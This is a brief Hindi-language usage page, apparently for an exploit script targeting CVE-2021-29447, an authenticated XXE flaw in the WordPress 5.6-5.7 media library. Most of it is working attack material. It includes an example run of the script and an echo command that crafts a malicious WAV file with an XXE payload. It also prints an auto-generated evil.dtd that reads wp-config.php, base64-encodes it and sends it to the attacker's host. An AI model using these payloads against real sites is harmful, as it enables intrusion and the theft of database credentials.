CVE-2021-29447 वर्डप्रेस 5.6-5.7 - प्रमाणित (Author+) XXE

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

उपयोग:

-l LHOST उदाहरण: 127.0.0.1 -n NAME उदाहरण: payload.wav -dn DTD_NAME उदाहरण: evil.dtd -r READ उदाहरण: ../wp-config.php

evil-wav-dtd-xxe.py: error: the following arguments are required: -l/--lhost, -n/--name, -dn/--dtd, -r/--read

स्क्रिप्ट चलाने का उदाहरण:

./evil-wav-dtd-xxe.py -l 127.0.0.1 -n payload.wav -dn evil.dtd -r "../wp-config.php"

[*]Created: evil.dtd
-------------------------------------------------------------------------
-- below commands run in terminal directory: generate the .wav file   --
-------------------------------------------------------------------------
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://127.0.0.1/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

evil.dtd(स्वतः जनरेट)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://127.0.0.1/?p=%file;'>" >

CVE-2021-29447

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